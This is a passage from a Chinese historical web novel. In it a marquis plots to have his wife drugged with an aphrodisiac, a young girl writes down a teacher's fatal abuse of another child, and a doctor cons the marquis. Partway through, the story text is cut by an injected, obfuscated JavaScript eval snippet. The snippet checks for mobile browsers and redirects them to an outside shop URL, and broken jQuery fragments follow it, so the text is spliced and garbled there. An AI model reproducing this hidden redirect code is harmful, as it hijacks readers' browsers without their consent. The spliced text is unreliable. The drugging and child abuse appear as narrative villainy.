金千刀淡声道:
“我怎么配合你?”
“哦!和着你俩洞房,还需要我帮忙?”
叶志勤知道,金千刀正在醋劲儿上,他伸手拍了拍他肩膀,柔声哄道:
“好啦好啦,我知道委屈你了。”
“我这不是,积极地在想办法,解决钱的问题吗?”
“这不光是为了我自己,这是为了我们俩。”
“你仔细想想,不把钱弄到手,你那账面儿,可怎么平过去?”
见金千刀情绪逐渐平复,他便从袖管里,拿出一个紫色小药瓶,递给金千刀,说道:
“这是合欢散。金玥帆只要吃了这东西,保准主动扑到我身上来。”
“等她成了我的女人,肚子里有了我的孩子,还怕,她不把钱乖乖上交吗?”
金千刀脸色越发难看,要将自己的心上人,推给自己的妹妹。怎么想,都让他心生膈应。
他虽然心不甘情不愿,但最终还是,将那紫色小药瓶接了过去。
英雄好汉,也得为银两折腰。谁叫他金千刀现在平不上库房的账目呢?
再怎么不愿意,他也得硬着头皮上了。
而叶志勤在金千刀接过紫色小药瓶之后,嘴角勾起一抹得意的浅笑。
他万万是不能给金玥帆下药的,那样会破坏他在金玥帆心中的君子形象。
因此,他得“借刀杀人”让金千刀去下药。
这事儿要是成了。金玥帆就真正彻底,成为自己的女人了,何须再去烦恼什么钱不钱的问题?
万一,这事儿要是不成。露馅儿了,他就把祸端,全都推到金千刀身上去。
到时候,金玥帆势必跟金千刀翻脸。
倘若金玥帆占了上风。金家因此事,而厌弃了金千刀。
那正好,金千刀直接出局,省得自己将来还得跟金千刀分财产。
倘若金千刀占了上风。金玥帆因此事,而失去娘家兄长的支持,甚至有可能与金家之间发生嫌隙。
那样也好,金玥帆没有了娘家这个退路,便只能仰仗自己这位丈夫。
呵呵呵……不管事情是成了、还是败露了;不管金玥帆兄妹争执,谁输谁赢。
吃亏全是别人的,好处全是我自己的。反正最后的赢家,都是我叶志勤。
叶志勤心中算盘打得响亮,便拉起金千刀的手,眼神里,满是柔情蜜意地说道:
“辛苦你了,千刀,我们去用膳吧。”
金千刀斜瞥了他一眼,用手肘碰了一下他肩膀,娇嗔道:
“死鬼,我为你承担如此巨大风险,你可莫要,辜负我对你的一番情意。”
方才,还差点儿打起来的两个大男人,这会儿又眉来眼去地,手拉手一起去用膳了。
用什么膳?咸菜世界。
明里暗里卖惨这件事,叶志勤从来没掉过链子。
明伦书院。
林知砚拉着小金昭的小手手,在跑马场上快步跑着。
“知砚姐姐,你跑这么快做什么呀?”小金昭被她拉着,跑得气喘吁吁的。
林知砚停下脚步,小手按在胸口上,大口大口喘着粗气,喘了好一会儿,才对小金昭说道:
“有一双眼睛盯着我看,我觉得我跑快点儿,那眼睛可能会追不上我。”
小金昭偏着小脑袋。她十分吃惊,七岁大的小女娃林知砚,为何会觉得有一双眼睛盯着她看?
反正都是小孩儿,她也有话直说了:
“知砚姐姐,我开天眼帮你看看,你别急。”
说着,小金昭便开了天眼。
可她盯着林知砚看了半天,又四处张望了好一会儿,都没发现所谓“会盯人的眼睛”。
“没有啊。”小金昭认认真真地回答道:
“真的,没有眼睛盯着你看。”
林知砚鼻尖红红的,眼眸里泛上浅浅泪花,满是惊恐地说道:
“他说,他有一双眼睛,会在我看不见的地方盯着我。叫我不能告诉任何人。他说,他会看见、听见的……”
小金昭觉得是有人,故意恐吓了小林知砚。小孩儿害怕,便产生了心理阴影,总觉得有一双眼睛在盯着她看。
真是卑鄙之极。
“是谁说他会盯着你的?”小金昭用肉乎乎的小手,握着林知砚的手。
她想用手心温度,给林知砚一些勇气。
林知砚张开小嘴,微微颤抖了几下,又闭上了。
眼神里的惊恐分毫未减,她低垂眼眸,微微摇了摇头,用极低的声音说道:
“我不敢说……他要是知道了,我就会和软软一样……他会把我杀死的……”
小金昭心知她不敢说,漂亮的大眼睛转了转,便给她出主意道:
“诶,我有办法。”
小萌娃从自己怀里掏出一块丝帕,说道:
“你要是不敢说,那你就写下来。我用丝帕挡上,他看不见的。”
“等你写完了,我用丝帕包起来烧掉,如此,就不会有人知道啦。”
小金昭眼神亮晶晶的,看上去特别有诚意。
林知砚这会儿也放下了心理戒备,犹豫片刻之后,她终于用力点了点头。
一件事情憋在心里太久了,她心里也很痛苦,她也很渴望倾诉。
跑马场的角落里,两个小女娃紧挨着坐在一块大石头上。
而金玥帆则站在远处,偷偷地望着俩小孩儿。虽然她没有参与孩子们的互动,但她在远处守护着。
小金昭从怀里掏出纸和笔,递给林知砚。
林知砚要开始写了,小金昭就用身子和丝帕挡着她,并低声鼓励道:
“我给你挡着了,任何人都看不到,放心写吧。”
林知砚握着笔的小手,不断地颤抖着,仿佛内心藏着极大的恐惧。
为了让自己颤抖不那么厉害,她用左手握住右手手腕,好让自己稳定一些,可即便如此,她写出来的笔画,依然是带着颤抖痕迹的:
“软软被掌教沈先生带去了……。”
林知砚写下这一句话之后,眼泪便不争气地掉了下来。
仿佛想起非常痛苦的回忆,小小身板止不住地颤抖着,可她又不敢哭出声,像是怕被恶魔听见,只能强行紧闭着嘴。
却依然还是发出了极低的一丝呜咽声。
小金昭极有耐心地等了一会儿,才问道:
“然后呢?”
小金昭知道林知砚心理压力极大。
她一手拿丝帕挡着,另一只手轻柔地安抚着林知砚后背,还奶声奶气地安慰道:
“不怕不怕,只要写出来了,心里就舒坦了。”
林知砚似是鼓起了勇气,提起笔接着写道:
“掌教后堂,传来软软的惨叫。”
“偶尔也会有路过的先生,可所有人,竟全都充耳不闻。”
林知砚情绪复杂,她既怒又怕,眼神里还带着对整个书院的失望。
她缓了一会儿情绪之后,又接着写道:
“这人世间,远比大人们口中的世界,要可怕的多。”
“我从门缝里看见,沈先生欺负软软,手段极其残忍。”
“软软被他折磨死了……”
写到这儿,林知砚终于忍不住,“呜呜”啜泣了起来。
小金昭也跟着心痛万分,一阵愤恨涌上心头,将她整张小脸都气得通红。
林知砚抬手擦去眼角泪水,一边抽噎着,一边接着写道:
“我要逃跑的时候,被沈先生听见了声音。”
“沈先生追出来。我躲在后山的草垛子里。为了不被发现,我整个人都钻进草垛子里。”
“沈先生找了一圈,我也不确定,他是不是真的没发现我。”
“然后,他对着草垛子说,他看见我了,他说,他的眼睛会一直跟着我。”
“他说,倘若我说出去了,他会知道的。然后,沈先生便转身离去了。”
“但是从此之后,我每日都做着同样的噩梦,我梦见软软浑身是血……”
“我梦见她不论如何呼救,都没人去救她。”
“我还梦见有一双大大的眼睛,就在我身后方,直直地盯着我看。”
林知砚写到这儿,便顿住了笔,似是万分惊恐地缓缓转过身,看了看自己身后。
小金昭知道她是吓坏了,小奶音温柔地安慰着她:
“没有没有,他吓唬你呢。压根就没有大眼睛,他胡诌的。”
林知砚这才放下心来,这种被盯着的感觉,已经困扰她很长一段时间了。
她缓缓放下笔,低声说道:
“事情的经过,便是如此。”
小金昭全程用自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599323|204257||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
己的丝帕,严严实实挡住,林知砚写下的那一纸倾诉。
她暖暖地望着林知砚,软乎乎的小奶音听起来让人心生安定:
“知砚姐姐,是不是写出来了,心里便舒坦多了?”
林知砚是第一次,将深藏的心事全部吐露。
她像心头放下一块大石头似的,重重呼了一口气,然后才微微点了点头。
小金昭悄悄看了一眼,上等墨水干得很快。待全干了,她便用丝帕将那一纸倾诉包了起来。
林知砚心里有些担心,便握住小金昭手腕,说道:
“昭昭。你得答应我,将此事烂在肚子里,不可告诉任何人。”
说完,她又补充了一句:
“快些烧了吧。倘若叫他人瞧见,那可就糟了。”
小金昭重重地点了点头,说道:
“放心吧。”
她从怀里掏出一个火折子,将抱着那一纸倾诉的丝帕点燃。
小火苗越烧越旺,终于将整个丝帕彻底烧成灰烬。
可林知砚并不知道,其实小金昭烧掉的,只是丝帕。
在她掏火折子的时候,便已经将那一纸倾诉,塞进了怀里。
那一纸倾诉,可是沈观岳的罪证之一。
虽不晓得人间律法,用不用得上,为以防万一,得先留着。
林知砚心头,仿佛没有了负担,终于露出久违的笑容。
金玥帆在远处,望着两个小女娃,先是坐在一起,不知做着什么小动作。
这会儿,两个小娃娃又欢快地玩耍了起来。
她眉目慈爱,脸颊上露出两个浅浅的酒窝,她的昭昭交到朋友了。
怀仁医馆。
全京城最大的医馆之一,也是郑安时所在的医馆。
问诊室里,郑安时正在认真仔细地,为叶志勤号脉。
叶志勤同金千刀说自己出去一趟,实际上,是跑医馆找大夫来了。
因他今日便要同金玥帆圆房,让金玥帆彻彻底底成为自己的女人。
郑安时其实心中,大概猜到了叶志勤来意。
他脸上全是认真与仁慈的神情,一边号着叶志勤脉搏,一边问道:
“侯爷,身体何处不适?”
叶志勤面色有些尴尬,可他还是勇敢地,对郑安时说出了真实情况:
“郑大夫,本侯……在房事方面,遇到了些许阻碍。”
“今晚,本侯便要与夫人行房,求一剂猛药。”
叶志勤说着说着,便面色发红,但他还是接着说道:
“倘若今晚事成,本侯定当重谢。”
郑安时对叶志勤的症状,心中是有底的。
他知晓,叶志勤已经彻底“不行”了,今生今世都不可能,再振男人雄风。
不过,他郑安时有办法能糊弄过去。
他至少,得将老侯爷那锭金子,快些消耗完。
只有将药钱全都抵了欠条,那锭金子,才算是真正落进了他口袋里。
“侯爷莫急”郑安时一脸胸有成竹地说道:
“我给侯爷开一盒,全新的丹药。”
“只要侯爷在今晚行房前服下,必可保侯爷夫妇共赴巫山,极乐自在。”
说完,他便从抽屉里,取出一个镶嵌着珍珠的锦盒。
明伦书院。一转眼,便到了放学时刻。
金玥帆拉着小金昭的手,才刚走出书院大门,便一眼瞧见:
叶志勤的马车,果然早早便等在门口。
英挺俊朗的男人,仿佛站了许久,在望见金玥帆母女时,他一脸灿烂地小跑了过来。
仿佛毛头小伙子等了心上人良久,才一见面,他便柔声问道:
“好玥帆,今日学习顺利吗?昭昭有没有好好听话。”
金玥帆仍是没有太大反应,只是默默点了点头。
叶志勤极殷勤地拉开马车帘子,朝着金玥帆母女说道:
“夫人,上车吧。”
金玥帆当然记得,叶志勤昨日说过的话,金府来了人。
若有事儿,宜私底下说。
这大庭广众之下,金玥帆也不想让娘家的人心生芥蒂。
她拉着小金昭的手,便上了叶志勤马车。
马车踢踏行驶。
叶志勤在心里盘算着,这会儿,金千刀应该已经下好药了吧……